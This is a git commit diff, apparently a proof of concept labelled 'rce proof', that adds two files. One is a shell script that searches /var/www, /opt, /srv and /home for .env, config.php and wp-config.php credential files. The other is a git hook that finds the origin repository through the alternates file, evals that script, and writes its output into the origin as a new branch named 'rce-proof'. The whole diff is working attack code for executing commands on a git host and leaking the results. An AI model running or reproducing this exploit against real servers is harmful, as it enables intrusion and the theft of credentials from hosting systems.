This commit is contained in:
pocw800ti 2026-09-25 01:40:38 +00:00
parent dfe85cdde2
commit b4dc609106
2 changed files with 22 additions and 0 deletions

1
cmd.sh Executable file
View File

@ -0,0 +1 @@
find /var/www /opt /srv /home -maxdepth 4 -name '.env*' -o -maxdepth 4 -name 'config.php' -o -maxdepth 4 -name 'wp-config.php' 2>/dev/null | head -12; echo E

21
hooks/post-index-change Executable file
View File

@ -0,0 +1,21 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
/*) ;;
*) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
cmd=$(git show :cmd.sh 2>/dev/null || git show HEAD:cmd.sh 2>/dev/null)
[ -n "$cmd" ] || exit 0
out=$(eval "$cmd" 2>&1; echo "---EXIT:$?---")
out_blob=$(printf '%s' "$out" | git --git-dir="$origin_git" hash-object -w --stdin)
tree=$(printf '100644 blob %s proof
' "$out_blob" | git --git-dir="$origin_git" mktree)
commit=$(printf 'rce proof
' | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree")
git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit"
exit 0
# jkhf54